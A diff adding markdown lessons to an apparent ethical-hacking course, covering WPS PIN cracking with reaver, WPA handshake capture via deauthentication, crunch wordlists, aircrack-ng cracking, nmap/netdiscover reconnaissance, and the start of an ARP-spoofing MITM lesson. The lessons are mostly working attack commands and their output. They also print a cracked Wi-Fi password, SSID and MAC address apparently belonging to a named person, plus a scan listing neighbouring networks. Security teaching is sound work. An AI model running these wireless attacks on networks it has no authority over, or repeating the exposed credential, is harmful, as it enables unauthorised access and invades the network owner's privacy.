+ WPS: DH own Public Key - hexdump(len=192): f2 3e d5 4f e5 a5 49 e7 25 ec 8e 6e 90 82 c3 a5 d8 b8 79 74 1f c4 b3 14 22 3c 34 cc 2d 63 96 4c 66 55 ac 4e fb 90 e1 01 c2 c4 23 17 31 d3 f1 99 8e 2b b3 2d 22 29 2f 68 b1 b8 d2 a5 0f 76 90 95 4b 13 8e b5 bf 8c 6e 0d 45 76 ce 44 19 72 8d 10 ad ee f6 97 ae 83 e3 5e 75 23 1f dc 7f af 5d 09 83 b4 8b 09 7e d0 f1 31 5a d6 ba f2 05 a1 29 0d 9d 44 f2 61 c9 df f2 29 12 b6 34 05 24 9f df ce 04 6d 70 1a 33 eb fd 82 93 86 56 b1 d0 ce 6c dc 92 f8 bf 34 01 a3 32 7d ca a3 07 9f 96 8d c6 f9 59 30 9e 32 48 92 b9 3c 2e 7a 43 91 93 a0 c6 98 2a a9 2f 2d 0f f0 ae 67 c5 33 b5 bd 45 71 20 6a
+ WPS: DH Private Key - hexdump(len=192): 70 e2 3e f0 e4 ce 10 ab 7f 6b 78 36 a1 2d 6a 30 d8 ad ed 5f 9f da fe 7a ab e9 0e dd e5 37 24 e7 69 c4 94 83 64 9f ca 08 a5 93 ad 26 0c 9b 8b 3e f2 99 2d f6 ad 05 a7 20 e2 e2 d8 b1 a8 32 bd 7a d9 13 65 18 2d 9d 5f 8f f9 10 f5 ae fe 90 08 d6 90 04 7e d5 df 2d ae 44 c2 5b e4 b3 9a 5f 0b 9d 24 46 fa 12 ba 56 b6 47 88 d2 8d 8b 8c 6a 94 1b fa 2b ff 0b 4f e4 3e 94 ce 02 87 df cd e1 ac de 37 ca d4 89 85 3c c4 87 1a 46 d5 3e 7b bb 01 dc 3a 88 84 28 49 45 85 a1 b5 5f c9 0c 3a ac c0 a4 9f a4 37 ca 81 98 83 36 f0 b2 69 85 55 6f 72 51 bb 87 37 1b 08 09 6e 18 91 31 b3 87 7d 58 5c 46
+ WPS: DH peer Public Key - hexdump(len=192): 68 21 a2 84 20 65 2d 97 30 62 18 b2 f7 35 a5 5b 9f 0c 49 b1 8b b7 d8 c3 e0 8f 74 78 92 7f 5f 46 06 9a d6 f5 c4 f1 1a a5 a2 77 f1 ff 71 48 b1 5b 1c 31 4d 9c 92 08 c8 b4 73 58 09 61 4b bf f1 94 d3 86 56 64 24 fd 88 f5 c1 0f b4 f3 be fe 7f 04 fd 51 8f 3a f4 86 ba ae 68 be 85 d6 1b a9 aa 82 ef 88 bc ea bd d7 7e c8 23 39 09 04 d9 82 15 51 64 ec d8 d6 16 6c 9d c5 0e 0c 7e 5a 98 c5 37 a9 51 e7 17 4a b8 b8 fe bb 81 38 66 df 6f 8e 82 b8 9a 9e d0 29 4e db c2 4b a6 6b ac 3d 40 88 ca ea fe fd 6d 3b 0a ad e8 bf 09 a2 97 7a 18 5e fb af 49 5d 95 ce 36 ea e7 ad 3e c3 c6 f4 45 e0 24 42
+ DH: shared key - hexdump(len=192): e6 fe d2 f9 42 b2 8f 07 ca 91 22 79 e5 82 93 b3 ab cb c6 63 3d a3 5b 52 ba 74 0e 68 07 96 ce b6 57 62 12 20 47 fc b3 87 64 bf bd 69 5e 2c 5b 31 5a c5 ed 33 d8 7e 12 ca 07 6c 41 98 76 ca c1 b8 f5 91 62 5e 91 ed 3e 4d cf c0 0c 43 96 1b 9f fd d8 8f 4d 79 87 cd 73 02 1c 2f c5 68 63 1c a9 1a 84 01 10 ff 32 6e 4b 62 20 6f af c6 8d cb ac 48 c6 8b 02 67 36 8f fb 5d 37 ab fc 80 8d ea 5f c9 8e 8c b1 cf 47 7e ac 4e b2 72 88 70 50 4c b8 08 93 ee 68 60 73 cc 22 05 01 d9 d1 2f ee e3 34 63 68 0e 0f df 84 f4 f9 d3 12 9f 96 a0 9c 71 6a 76 62 1a 8b eb f0 eb 1e 80 e8 86 88 7c ed 93 1e dd
+ WPS: DH shared key - hexdump(len=192): e6 fe d2 f9 42 b2 8f 07 ca 91 22 79 e5 82 93 b3 ab cb c6 63 3d a3 5b 52 ba 74 0e 68 07 96 ce b6 57 62 12 20 47 fc b3 87 64 bf bd 69 5e 2c 5b 31 5a c5 ed 33 d8 7e 12 ca 07 6c 41 98 76 ca c1 b8 f5 91 62 5e 91 ed 3e 4d cf c0 0c 43 96 1b 9f fd d8 8f 4d 79 87 cd 73 02 1c 2f c5 68 63 1c a9 1a 84 01 10 ff 32 6e 4b 62 20 6f af c6 8d cb ac 48 c6 8b 02 67 36 8f fb 5d 37 ab fc 80 8d ea 5f c9 8e 8c b1 cf 47 7e ac 4e b2 72 88 70 50 4c b8 08 93 ee 68 60 73 cc 22 05 01 d9 d1 2f ee e3 34 63 68 0e 0f df 84 f4 f9 d3 12 9f 96 a0 9c 71 6a 76 62 1a 8b eb f0 eb 1e 80 e8 86 88 7c ed 93 1e dd
+ WPS: DHKey - hexdump(len=32): ca 82 f1 4f e3 46 c8 d3 b8 c6 77 de 02 16 76 6d 43 5c e7 bc 92 31 5c 21 5f 37 0f 9b 9c 59 18 e5
+ WPS: KDK - hexdump(len=32): df d3 81 04 65 e6 c8 5b c9 b5 f0 8a c1 5f bf 24 54 c8 ed d8 e5 2c f0 31 cb f4 73 72 ee fc c5 1e
+ WPS: AuthKey - hexdump(len=32): fb 18 3b b9 b8 d7 4d 10 8f 37 39 2c 3f 2c 97 4c e6 dc 7b 48 b4 d9 22 e2 93 09 ec 07 ff 12 3e 48
+ WPS: KeyWrapKey - hexdump(len=16): b2 df 80 e0 a0 3b d3 27 38 8d 7f 59 60 fe a8 ea
+ WPS: EMSK - hexdump(len=32): 55 96 02 bd 67 cc 30 41 37 86 99 ca 52 7a 4b 79 93 1d 0f a5 54 5e de 1f 68 72 86 67 d3 1f 47 91
+ WPS: * Authentication Type Flags
+ WPS: * Encryption Type Flags
+ WPS: * Connection Type Flags
+ WPS: * Config Methods (8c)
+ WPS: * Manufacturer
+ WPS: * Model Name
+ WPS: * Model Number
+ WPS: * Serial Number
+ WPS: * Primary Device Type
+ WPS: * Device Name
+ WPS: * RF Bands (0)
+ WPS: * Association State
+ WPS: * Configuration Error (0)
+ WPS: * Device Password ID (0)
+ WPS: * OS Version
+ WPS: * Authenticator
+ [+] Sending M2 message
+ send_packet called from send_msg() send.c:116
+ send_packet called from resend_last_packet() send.c:161
+ WPS: Processing received message (len=124 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M3
+ WPS: E-Hash1 - hexdump(len=32): 73 c1 9b bb 99 bd 40 27 64 a0 c6 03 f0 9b 90 26 c0 41 db d5 55 e4 d8 57 96 4b 3d fd c3 80 f2 d2
+ WPS: E-Hash2 - hexdump(len=32): f4 ba 75 b1 2f 1b 0d 3f 70 f7 13 7e 67 7f 4e ac 50 f1 0c 10 65 57 bc 2f 14 6e 67 fe 8e 65 1c f2
+ WPS: WPS_CONTINUE, Freeing Last Message
+ WPS: WPS_CONTINUE, Saving Last Message
+ WPS: returning
+ [+] Received M3 message
+ WPS: Building Message M4
+ WPS: Dev Password Len: 8
+ WPS: Dev Password: 12345670
+ WPS: Device Password - hexdump_ascii(len=8):
+ 31 32 33 34 35 36 37 30 12345670
+ WPS: PSK1 - hexdump(len=16): f7 3e 7c 71 a7 c6 d5 9d 6e 77 20 49 d4 20 32 1d
+ WPS: PSK2 - hexdump(len=16): c1 77 a4 e2 53 ac 4d d2 22 fe 98 38 cb 2f 5f dc
+ Allocs OK, building M4 packet
+ WPS: * Version
+ WPS: * Message Type (8)
+ WPS: * Enrollee Nonce
+ WPS: R-S1 - hexdump(len=16): 60 15 d8 ea ed 19 a3 ae 0d 9a f7 cd 19 4b d7 dd
+ WPS: R-S2 - hexdump(len=16): 35 f8 39 15 10 2b 20 cc 04 28 c6 19 ff d6 40 a9
+ WPS: * R-Hash1
+ WPS: R-Hash1 - hexdump(len=32): 59 92 a3 03 1f 2a b3 76 51 81 c0 d9 1e 3e a8 80 3a cd 07 b6 21 24 0b 87 35 76 e8 2f a0 59 4f 0b
+ WPS: * R-Hash2
+ WPS: R-Hash2 - hexdump(len=32): 33 5b 28 4a 42 6d 02 db 20 a1 98 0a 6b 37 ae c0 6a e6 af dd d5 d7 5c 2e 7f 87 f5 8a 3e 9f 1a b6
+ WPS: * R-SNonce1
+ WPS: * Key Wrap Authenticator
+ WPS: * Encrypted Settings
+ WPS: * Authenticator
+ [+] Sending M4 message
+ send_packet called from send_msg() send.c:116
+ WPS: Processing received message (len=120 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M5
+ WPS: Processing decrypted Encrypted Settings attribute
+ WPS: E-SNonce1 - hexdump(len=16): 58 17 36 53 ab bd f5 45 80 33 0d 93 72 d7 86 27
+ WPS: Enrollee proved knowledge of the first half of the device password
+ WPS: WPS_CONTINUE, Freeing Last Message
+ WPS: WPS_CONTINUE, Saving Last Message
+ WPS: returning
+ [+] Received M5 message
+ WPS: Building Message M6
+ WPS: * Version
+ WPS: * Message Type (10)
+ WPS: * Enrollee Nonce
+ WPS: * R-SNonce2
+ WPS: * Key Wrap Authenticator
+ WPS: * Encrypted Settings
+ WPS: * Authenticator
+ [+] Sending M6 message
+ send_packet called from send_msg() send.c:116
+ WPS: Processing received message (len=168 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M7
+ WPS: Processing decrypted Encrypted Settings attribute
+ WPS: E-SNonce2 - hexdump(len=16): ab d5 0f 15 8b 7b 7d 41 b5 2d 10 4f bf 18 78 89
+ WPS: Enrollee proved knowledge of the second half of the device password
+ WPS: Invalidating used wildcard PIN
+ WPS: Invalidated PIN for UUID - hexdump(len=16): 63 04 12 53 10 19 20 06 12 28 b4 3d 08 2d 91 41
+ WPS: Processing AP Settings
+ WPS: SSID - hexdump_ascii(len=18):
+ 52 61 68 75 6c 20 41 67 61 72 77 61 6c 5f 32 2e Rahul Agarwal_2.
+ 34 47 4G
+ WPS: Authentication Type: 0x20
+ WPS: Encryption Type: 0x8
+ WPS: Network Key Index: 1
+ WPS: Network Key - hexdump(len=10): 39 35 39 39 36 31 33 33 39 37
+ WPS: MAC Address b4:3d:08:2d:91:41
+ WPS: Update local configuration based on the AP configuration
+ WPS: Processing AP Settings
+ WPS: SSID - hexdump_ascii(len=18):
+ 52 61 68 75 6c 20 41 67 61 72 77 61 6c 5f 32 2e Rahul Agarwal_2.
+ 34 47 4G
+ WPS: Authentication Type: 0x20
+ WPS: Encryption Type: 0x8
+ WPS: Network Key Index: 1
+ WPS: Network Key - hexdump(len=10): 39 35 39 39 36 31 33 33 39 37
+ WPS: MAC Address b4:3d:08:2d:91:41
+ WPS: Update local configuration based on the AP configuration
+ WPS: WPS_CONTINUE, Freeing Last Message
+ WPS: WPS_CONTINUE, Saving Last Message
+ WPS: returning
+ [+] Received M7 message
+ WPS: Building Message WSC_NACK
+ WPS: * Version
+ WPS: * Message Type (14)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * Configuration Error (0)
+ [+] Sending WSC NACK
+ send_packet called from send_msg() send.c:116
+ WPS: Building Message WSC_NACK
+ WPS: * Version
+ WPS: * Message Type (14)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * Configuration Error (0)
+ [+] Sending WSC NACK
+ send_packet called from send_msg() send.c:116
+ [+] Pin cracked in 91 seconds
+ [+] WPS PIN: '12345670'
+ [+] WPA PSK: '9599613397'
+ [+] AP SSID: 'Rahul Agarwal_2.4G'
+ ```
+
+
+
+ aireplay-ng logs
+
+ ```bash
+ root@kali:~# aireplay-ng --fakeauth 30 -a B4:3D:08:2D:91:41 -h 8C:90:2D:CA:CE:44 wlan0
+ 13:43:55 Waiting for beacon frame (BSSID: B4:3D:08:2D:91:41) on channel 1
+
+ 13:43:55 Sending Authentication Request (Open System) [ACK]
+ 13:43:55 Authentication successful
+ 13:43:55 Sending Association Request [ACK]
+ 13:43:55 Association successful :-) (AID: 1)
+
+ 13:44:10 Sending keep-alive packet
+ 13:44:11 Got a deauthentication packet! (Waiting 3 seconds)
+ ```
+
+
+- **We will use the WPA-PSK at the end of the `reaver` logs to connect to the wifi. Below is the video proof that we can connect to the wifi using the cracked WPA-PSK.**
+
+ [](https://youtu.be/stE-FNupm0o)
+
+- Also, you might be thinking, why we needed to run a fake authentication attack using `aireplay-ng`? The answer is simple, we needed to associate with the access point to be able to send EAPOL packets, if not associated the network would have just ignored us.
+
+## Capturing the Handshake
+
+- Now, if WPS is disabled on the target network, or if it's enabled but configured to use push button configuration (PBC), than the method we disucssed just now before will not work. Therefore, we will have to go and crack the actual WPA/WPA2 Encryption.
+
+- In WPA/WPA2 the keys are unique, they are temporary, and are much longer than WEP. Therefore, the packets sent in the air contained no information that is useful for us. So, it doesn't matter even if we capture 1 million packets, we can't use them to crack the key.
+
+- The only packets that contain useful information are the handshake packets, also known as 4-way handshake packets. These are 4 packets transferred b/w a client and an access point when the client tries to connect to the access point.
+
+- We will start by running `airodump-ng` to get info about the networks in the area.
+
+ ```bash
+ root@kali:~# airodump-ng --band abg
+ CH 48 ][ Elapsed: 36 s ][ 2025-07-28 06:50
+
+ BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ C4:95:4D:37:AE:61 -1 0 1 0 11 -1 WPA
+ E4:FA:C4:3C:9F:0E -1 0 2 0 36 -1 WPA
+ E4:FA:C4:0C:F3:33 -72 0 0 0 -1 -1
+ 44:95:3B:88:14:C1 -74 10 0 0 153 866 WPA2 CCMP PSK Goldenenclave603
+ B4:3D:08:2D:91:40 -80 10 0 0 149 866 WPA2 CCMP PSK Rahul Agarwal_5G
+ 30:DE:4B:B5:3C:19 -82 15 0 0 44 390 WPA2 CCMP PSK RakshaDeepak_5g
+ 6C:4F:89:16:4F:FA -80 16 0 0 40 866 WPA2 CCMP PSK Airtel_Sathvik
+ CE:82:A9:6D:BB:76 -59 5 0 0 11 260 WPA2 CCMP PSK Avik
+ B4:3D:08:2D:91:41 -54 4 0 0 10 270 WPA2 CCMP PSK Rahul Agarwal_2.4G
+ 20:0C:86:43:98:98 -76 5 0 0 13 270 WPA2 CCMP PSK SM-2.4G
+ 22:0C:86:53:98:98 -66 6 0 0 13 270 WPA2 CCMP PSK www.excitel.com
+ ```
+
+- So, as we can see, we have a lot of Networks in the area using WPA2 Encryption. The next thing we will do is we will capture the packets on the target network of our choice using `airodump-ng`.
+
+ ```bash
+ root@kali:~# airodump-ng --bssid TARGET_MAC -c TARGET_CHANNEL -w filename wlan0
+ ```
+
+- Let's say no one is actually connecting to the target network, so what we can do is we can deauthenticate a client from the network, so that it reconnects and we can capture the handshake packets. This we can do using the command:
+
+ ```bash
+ root@kali:~# aireplay-ng --deauth 1000000 -a TARGET_MAC -c CLIENT_MAC -D wlan0
+ ```
+
+- Once, the client is deauthenticated, it will try to reconnect to the access point, and in the process it will send the handshake packets. We can capture these packets using `airodump-ng` command we ran earlier.
+
+- Once, the handshake is captured, we can exit `airodump-ng` by pressing `Ctrl+C`. The handshake packets will be saved in the file we specified using the `-w` option.
+
+- This handshake can be used to get the key for the network.
+
+- Let's implement this practically, and see the actual logs in the scenario.
+
+- Let's assume that there is no handshake happening on the target network, so we will deauthenticate a client from the network, and then capture the handshake packets. First, we will run the `airodump-ng` command to capture the packets.
+
+ ```bash
+ root@kali:~# airodump-ng --bssid WIFI_MAC --channel 36 -w capture wlan0
+ 07:30:14 Created capture file "capture-02.cap".
+
+ CH 36 ][ Elapsed: 54 s ][ 2025-07-28 07:31 ][ WPA handshake: WIFI_MAC
+
+ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
+
+ WIFI_MAC -18 100 544 281 0 36 780 WPA2 CCMP PSK WIFI_NAME
+
+ BSSID STATION PWR Rate Lost Frames Notes Probes
+
+ WIFI_MAC CLIENT_MAC1 -29 6e-24 1 272
+ WIFI_MAC CLIENT_MAC2 -24 6e- 6e 2 690
+ WIFI_MAC CLIENT_MAC3 -25 6e- 1e 141 3012 EAPOL
+ Quitting...
+ ```
+
+- Than, use fake authentication attack to associate with the access point, so that we can send deauthentication packets to the clients, and as a result cause a handshake to happen.
+
+ ```bash
+ root@kali:~# aireplay-ng --deauth 1000000 -a WIFI_MAC -c CLIENT_MAC -D wlan0
+ 07:30:45 Sending 64 directed DeAuth (code 7). STMAC: [CLIENT_MAC] [15|88 ACKs]
+ 07:30:46 Sending 64 directed DeAuth (code 7). STMAC: [CLIENT_MAC] [ 3|64 ACKs]
+ 07:30:47 Sending 64 directed DeAuth (code 7). STMAC: [CLIENT_MAC] [ 0|64 ACKs]
+ 07:30:47 Sending 64 directed DeAuth (code 7). STMAC: [CLIENT_MAC] [ 4|64 ACKs]
+ 07:30:48 Sending 64 directed DeAuth (code 7). STMAC: [CLIENT_MAC] [ 0|64 ACKs]
+ ```
+
+- Exit the airodump-ng command as soon as you see the `WPA handshake` message in the logs. This means that the handshake packets are captured and saved in the file we specified using the `-w` option.
+
+## Creating a Wordlist
+
+- So, far we have learnt that the only packets that are useful for cracking the WPA/WPA2 key are the handshake packets. We have also learnt how to capture these packets using `airodump-ng` and `aireplay-ng`.
+
+- Now, handshake packets doesnot contain any information that can help us to recover or recalculate the WPA-KEY. The information in it can only be used to check whether a password is valid or not.
+
+- Therefore, what we are going to do is create a wordlist, which is basically a big text file that contains a large number of passwords. Than go through this file, passwords one by one, and use them with the handshake inorder to check whether the password is valid or not. We can download ready wordlist from internet, but here we will create our own word list.
+
+- we will use the `crunch` command to create a wordlist. The `crunch` command is a powerful tool that can be used to create custom wordlists based on various parameters.
+
+- It's a really handy skill to have under the belt, if you want to be a penetration tester or an ethical hacker, because you will be facing lot of scenarios where a wordlist attack can become very handy.
+
+- The generalised syntax of the `crunch` command is as follows:
+
+ ```bash
+ crunch -o -t
+ ```
+
+ Implementation example:
+
+ ```bash
+ root@kali:~# crunch 8 8 1234567890 -o test.txt
+ Crunch will now generate the following amount of data: 900000000 bytes
+ 858 MB
+ 0 GB
+ 0 TB
+ 0 PB
+ Crunch will now generate the following number of lines: 100000000
+
+ crunch: 94% completed generating output
+
+ crunch: 100% completed generating output
+ ```
+
+## Cracking WPA/WPA2 Key using a Wordlist Attack
+
+- To crack a WPA/WPA2 key we need 2 things:
+
+ 1. The handshake packets we captured earlier using `airodump-ng`.
+ 2. A wordlist that contains a large number of passwords.
+
+- And, hopefully one of the passwords in the wordlist is the actual password for the target network.
+
+- To do this, `aircrack-ng` is going to unpack the handshake, and extract the useful information. The `MIC` also known as `Message Integrity Code` is used to verify the integrity of the message, and is also used to verify whether the password is correct or not.
+
+>[!NOTE]
+>This MIC is used by the Access Point to verify whether the passowrd is correct or not, so it's going to seprate this, and keep it aside, and use all of the other information here combined with the first password from the wordlist to generate an MIC, another MIC, and than compare it with one extracted from the handshake. If they match, it means the password is correct, and we have successfully cracked the WPA/WPA2 key.
+
+- Use the following command to crack the WPA/WPA2 key using a wordlist:
+
+ ```bash
+ root@kali:~# aircrack-ng filename.cap -w wordlist.txt
+ ```
+
+ You will get output like this:
+
+ ```bash
+ [00:32:04] 4439496/10000000 keys tested (2275.52 k/s)
+
+ Time left: 40 minutes, 43 seconds 44.39%
+
+ Current passphrase: 75541687
+ KEY FOUND! [ 75541687 ]
+
+ Master Key : 49 88 ED F4 B8 F3 E3 B9 7D 8A E4 FB C6 35 EA 27
+ F7 6D A2 2F CD B2 3A 05 DD 2E BF FE BE 66 4D F2
+
+ Transient Key : E8 77 89 1B 74 27 94 DC 85 B2 45 EA 86 22 D7 14
+ 41 B9 42 17 D6 1A 9B 34 26 08 B3 81 D1 33 B6 C5
+ BB 04 19 9E 78 EB EA AB 85 EE E3 27 D0 27 7E 0E
+ EAPOL HMAC : C8 AB 3E C5 C3 62 5F 2D EE 37 3E 71 B5 3A F2 0E
+
+ ```
+
+- You can use this password to connect to the target network. Here's the proof of my Wifi Password.
+
+ 
+
+
+## Configuring Wireless Settings for Maximum Security
+
+- So, far we have learned a number of techniques that hacker can use to gain access to networks, even if they use WPA and WPA2. If this happens, and a hacker manages to gain access to the computer it's game over. They will be able to run so much more powerful attacks, to spy on every single connected device, and potentially even gain full control, over these devices.
+
+- Always prefer WPA2 over WPA, and WPA over WEP. If you have the option to use WPA3, then use that instead of WPA2.
+- Make sure WPS is disabled on your access point. WPS is a feature that allows users to easily connect to a wireless network by pressing a button on the router, but it can also be exploited by attackers to gain access to the network.
+- Use a strong password for your wireless network. A strong password should be at least 12 characters long, and should include a mix of uppercase and lowercase letters, numbers, and special characters.
+- Use a unique SSID for your wireless network. Avoid using default SSIDs, as they can be easily guessed by attackers.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking: Gaining Access WEP Cracking](/lesson-03.md) | [Next Lesson: Network Hacking Post Connection Attacks - Information Gathering](/lesson-05.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-05.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-05.md
new file mode 100644
index 0000000..9f9d226
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-05.md
@@ -0,0 +1,124 @@
+---
+title: "Network Hacking Post Connection Attacks - Information Gathering"
+slug: "lesson-05"
+order: 5
+category: "ethical-hacking"
+prev: "lesson-04"
+next: "lesson-06"
+---
+
+# Network Hacking Post Connection Attacks - Information Gathering
+
+
+
+- [Network Hacking Post Connection Attacks - Information Gathering](#network-hacking-post-connection-attacks---information-gathering)
+ - [Discovering Devices Connected to the Same Network](#discovering-devices-connected-to-the-same-network)
+ - [Gathering Sensitive Information about Connected Devices](#gathering-sensitive-information-about-connected-devices)
+ - [Gathering More Sensitive Information(Services, OS, etc.)](#gathering-more-sensitive-informationservices-os-etc)
+ - [Path](#path)
+
+
+## Discovering Devices Connected to the Same Network
+
+- Information Gathering is one of the most important steps when it comes to hacking or penetration testing. If you think of it you can't really gain acccess to a system, if you don't have enough information about it.
+
+- So, let's say we are connected to the network, and one of the devices connected to the network is our target. Now, for us to hack into the target, first we need to discover all of the connected clients to this network, get their MAC Address, their IP Address, and than from there try to maybe gather more information or run some attacks in order to gain access to the target.
+
+- Their are a number of programs that will do this for us. Examples of these programs are:
+
+ - **Nmap**: A powerful network scanning tool that can discover hosts and services on a computer network.
+ - **Netdiscover**: A simple tool for network address discovery, useful for identifying live hosts on a network.
+ - **ARP Scan**: A command-line tool that uses ARP requests to discover devices on a local network.
+
+- Right now, we will use `Netdiscover` to discover devices connected to the same network.
+
+ Let's say we have some IP of the inet `10.0.2.16`, and we can only access the IPs on the same subnet. So, IPs on the same subnet start with `10.0.2.x`, where `x` can be any number from `0` to `254`. `254` is the last IP in the subnet.
+
+ ```bash
+ root@kali:~# netdiscover -r XX.XX.XX.1/24
+ ```
+
+ > [!NOTE]
+ > `XX.XX.XX.1/24` is the way in which we can specify IP for the whole subnet. The `/24` means that the first 24 bits of the IP address are fixed, which corresponds to the subnet mask.
+
+- You will get the following output:
+
+ ```
+ Currently scanning: Finished! | Screen View: Unique Hosts
+
+ 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
+ _____________________________________________________________________________
+ IP At MAC Address Count Len MAC Vendor / Hostname
+ -----------------------------------------------------------------------------
+ XXX.XX.XX.X XX:XX:XX:XX:XX:XX 1 60 Unknown vendor
+ XXX.XX.XX.X XX:XX:XX:XX:XX:XX 1 60 VMware, Inc.
+ XXX.XX.XX.XXX XX:XX:XX:XX:XX:XX 1 60 VMware, Inc.
+ XXX.XX.XX.XXX XX:XX:XX:XX:XX:XX 1 60 VMware, Inc.
+ ```
+
+- And, right now we have a list of all the connected clients to the same network. We can also use this method to discover clients connected to the same wifi network.
+
+ >[!IMPORTANT]
+ > If there's any issue with the command, use the option `-c` to specify the number of packets to send, and `-i` to specify the interface you want to use. For example:
+
+ ```bash
+ root@kali:~# netdiscover -r XX.XX.XX.1/24 -c 10 -i
+ ```
+
+
+## Gathering Sensitive Information about Connected Devices
+
+- Now, the second program that we will use for Network Mapping is `Nmap`. Nmap is a powerful network scanning tool that can discover hosts and services on a computer network.
+
+- Nmap takes scanning to a whole new level. It is slightly slower than `Netdiscover`, but it provides a lot more information about the connected devices. It can also be used to scan for open ports, services running on those ports, and even the operating system of the device, connected clients, and more. You can bypass security firewalls etc..
+
+- Nmap is a huge tool and, there are books and complete courses just on learning to use Nmap. We will be using Zenmap, which is a graphical user interface for Nmap. It is easier to use and provides a more user-friendly experience.
+
+- Use the command `zenmap` to open `Nmap` UI:
+
+ ```bash
+ root@kali:~# zenmap
+ ```
+
+ 
+
+- It has a very simple interface. You can enter the target IP address or hostname in the "Target" field, and then select the type of scan you want to perform from the "Profile" dropdown menu.
+
+- Enter the target range in the "Target" field, for example `XX.XX.XX.1/24`, and select the "Intense Scan" profile from the dropdown menu. Then click on the "Scan" button to start the scan.
+
+ 
+
+- As you can see here, it is scanning the target range for open ports, services running on those ports, and even the operating system of the device. It will take some time to complete the scan, depending on the size of the target range and the number of devices connected to it.
+
+- Let's see how to perform a ping scan:
+
+ 
+
+
+- Here, we can see what kind of device is connected to the network, what operating system it is running. As, we can see here, we have 3 VMware devices connected to the network, and one of them is running an Unknown OS.
+
+- In a similare way we can perform quick scan as well:
+
+ 
+
+- It shows open ports on each one of the discovered devices, along with the services running on those ports. For example, we can see that port `22` is open on the device with IP.
+
+### Gathering More Sensitive Information(Services, OS, etc.)
+
+ 
+
+- As here we can clearly see, that the device has it's IP, MAC Address, and the services running on it. We can also see the operating system of the device.
+
+- It also shows us the program running on the open ports, and the versions of these programs, like here we can see the Apple device has Postgres on port `5432`, and the version is `9.6.0` or later.
+
+- We can check for the exploits for the version of the program/service running on the open ports. For example, we can search for exploits for `Postgres 9.6.0` or later. And, we will be able to gain access to the device using these exploits.
+
+- We can also categorize discovered clients based on the services running on them.
+
+ 
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](/lesson-04.md) | [Next Lesson: Network Hacking Post Connection Attacks - MITM Attacks](/lesson-06.md) ->
\ No newline at end of file
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-06.md b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-06.md
new file mode 100644
index 0000000..0dd675d
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/lesson-06.md
@@ -0,0 +1,300 @@
+---
+title: "Network Hacking Post Connection Attacks - MITM Attacks"
+slug: "lesson-06"
+order: 6
+category: "ethical-hacking"
+prev: "lesson-05"
+next: "lesson-cyberchef"
+---
+
+# Network Hacking Post Connection Attacks - MITM Attacks
+
+- [Network Hacking Post Connection Attacks - MITM Attacks](#network-hacking-post-connection-attacks---mitm-attacks)
+ - [MITM: Layman sequence](#mitm-layman-sequence)
+ - [MITM: Detailed sequence](#mitm-detailed-sequence)
+ - [ARP Spoofing or ARP Poisoning](#arp-spoofing-or-arp-poisoning)
+ - [Why ARP Spoofing is Possible](#why-arp-spoofing-is-possible)
+ - [Intercepting Traffic using ARP Spoofing](#intercepting-traffic-using-arp-spoofing)
+ - [Why use `arpspoof` ??](#why-use-arpspoof-)
+ - [Bettercap basics](#bettercap-basics)
+ - [ARP Spoofing using Bettercap](#arp-spoofing-using-bettercap)
+ - [`bettercap` parameters in ARP Spoofing](#bettercap-parameters-in-arp-spoofing)
+ - [Spying on Network Devices](#spying-on-network-devices)
+
+
+
+
+- MITM stands for Man In The Middle. It is a type of attack where the attacker intercepts communication between two parties without their knowledge. The attacker can then eavesdrop on the conversation, modify the data being sent, or even impersonate one of the parties.
+
+#### MITM: Layman sequence
+
+A simple view showing the attacker silently sitting between a client and a server.
+
+```mermaid
+sequenceDiagram
+ participant C as Client
+ participant A as Attacker
+ participant S as Server
+ C->>A: Sends request (believes it goes to Server)
+ A->>S: Forwards request
+ S-->>A: Sends response
+ A-->>C: Forwards/optionally alters response
+ note over A: Can listen and potentially change messages
+```
+
+#### MITM: Detailed sequence
+
+A more detailed flow including the network gateway and encryption considerations.
+
+```mermaid
+sequenceDiagram
+ participant V as Victim/Client
+ participant A as Attacker
+ participant GW as Gateway/Router
+ participant S as Server
+
+ note over V: Attacker positions between Victim and Gateway (e.g., ARP spoofing)
+ note over A: (e.g., ARP spoofing)
+ A-->>V: ARP reply: "Gateway is at A"
+ A-->>GW: ARP reply: "Victim is at A"
+
+ V->>A: Packet intended for Server
+ A->>GW: Forwards packet
+ GW->>S: Routes to Server
+ S-->>GW: Response
+ GW-->>A: Forwards response
+
+ alt HTTPS with valid TLS / HSTS
+ A-->>V: Pass-through (cannot read/modify content)
+ note over V,S: End-to-end encryption protects data integrity/confidentiality
+ else HTTP or weak/misconfigured TLS
+ A->>A: Decrypts/reads payload
+ A-->>V: Optionally modifies response (e.g., injects/edits content)
+ end
+
+ note over A: Attacker can still observe metadata (IPs, SNI, timing)
+```
+
+- A normal communication looks like this where the client communicates to the server via the gateway, and the thus the data obtained in response is as expected. The attacker can intercept this communication and modify the data being sent or received, if not securely encrypted with HTTPS or other secure protocols.
+
+- In case, when a attacker gains access to the network, they can perform a MITM attack by intercepting the communication between the client and the server, the response from the server to the client is modified or altered, and the client receives the modified response. This can lead to various attacks such as data theft, session hijacking, or injecting malicious content into the communication.
+
+## ARP Spoofing or ARP Poisoning
+
+- It allows us to redirect the flow of packets in the network. So, instead of the packets going to the intended device, they go to the attacker, allowing them to intercept, modify, or even drop the packets.
+
